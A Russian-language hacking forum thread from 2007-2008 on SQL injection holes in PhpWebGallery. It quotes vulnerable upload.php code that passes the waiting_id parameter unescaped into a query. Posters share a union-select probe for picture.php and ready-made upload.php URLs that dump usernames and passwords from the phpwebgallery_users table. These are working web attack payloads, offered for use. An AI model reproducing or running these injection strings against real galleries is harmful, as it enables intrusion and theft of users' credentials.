PhpWebGallery

Discussion in 'Уязвимости' started by Macro, 28 Dec 2007.

  1. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    PhpWebGallery blind sql injection

    upload.php
    PHP:
    if ( isset( $_POST['submit'] ) and isset( $_GET['waiting_id'] ) )
    {
      
    // upload of the thumbnail
      
    $query 'select file';
      
    $query.= ' from '.WAITING_TABLE;
      
    $query.= ' where id = '.$_GET['waiting_id'];
      
    $query.= ';';
      
    $resultpwg_query$query );
    Выложил ибо там по ходу через админку шелл не залить. Сплоит по той же причине не писал
     
    4 people like this.
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    а кстати какая версия? я там тоже пару скулей видел, 1.3.4 и скорее всего ранние (покрайней мере в 1.3.2 точно есть)
    типа такого:
    Code:
    picture.php?cat=27&image_id=1+union+select+1,2,4,5,5,6,7,8,9,10,11,12,13,14/*&expand=27
    при реально существующей картинке вывода нет, а если не существующий image_id, то скрипт отказывается отвечать, т.е. вполне реально провести blind-inj
     
    1 person likes this.
  3. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Проблема в том что надо submit послать постом а мне для этого сплоит лень писать. Только что скачал и поставил себе последнюю версию - 1.7.0.
    Заменил в коде upload.php в указанном мной месте POST на REQUEST чтобы через GET проканало.
    Вот результат.

    http://test2.ru/phpwebgallery-1.7.0/upload.php?submit&waiting_id=1'

    select file from phpwebgallery_waiting where id = 1\';
    [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


    А вообще, инъекция работает и при magic_quotes on


    blackybr: молодец.. у меня не работало =)
     
    #3 Macro, 23 Jan 2008
    Last edited by a moderator: 23 Jan 2008
  4. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Я с пол-,год назад находил этот баг , на милворм не приняли тк нужен эксплоит а писать было лень.

    Вот этот код меня обломал сначала , но вскоре я догадался

    PHP:
     $file substr $row['file'], 0strrpos $row['file'], ".") );
      
    $extension get_extension$_FILES['picture']['name'] );

      if ((
    $path mkget_thumbnail_dir($page['cat_dir'], $error)) != false)
      {
        
    $path.= '/'.$conf['prefix_thumbnail'].$file.'.'.$extension;
        
    $result validate_upload$path$conf['upload_maxfilesize'],
    upload.php?cat=&waiting_id=-1+union+select+concat_ws(char(46,120,101,107),user name,password)+from+phpwebgallery_users/*
    upload.php?cat=&waiting_id=-1+union+select+concat_ws(char(46,120,101,107),pass word,username)+from+phpwebgallery_users/*


     
    #4 Евгений Минаев, 23 Jan 2008
    Last edited: 23 Jan 2008
  5. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    -PhpWebGallery 1.3.4 sql injection

    язвимость находится в параметре "cat" сценарием picture .

    (c)-Насчет копирайтов ей богу непомню где взял .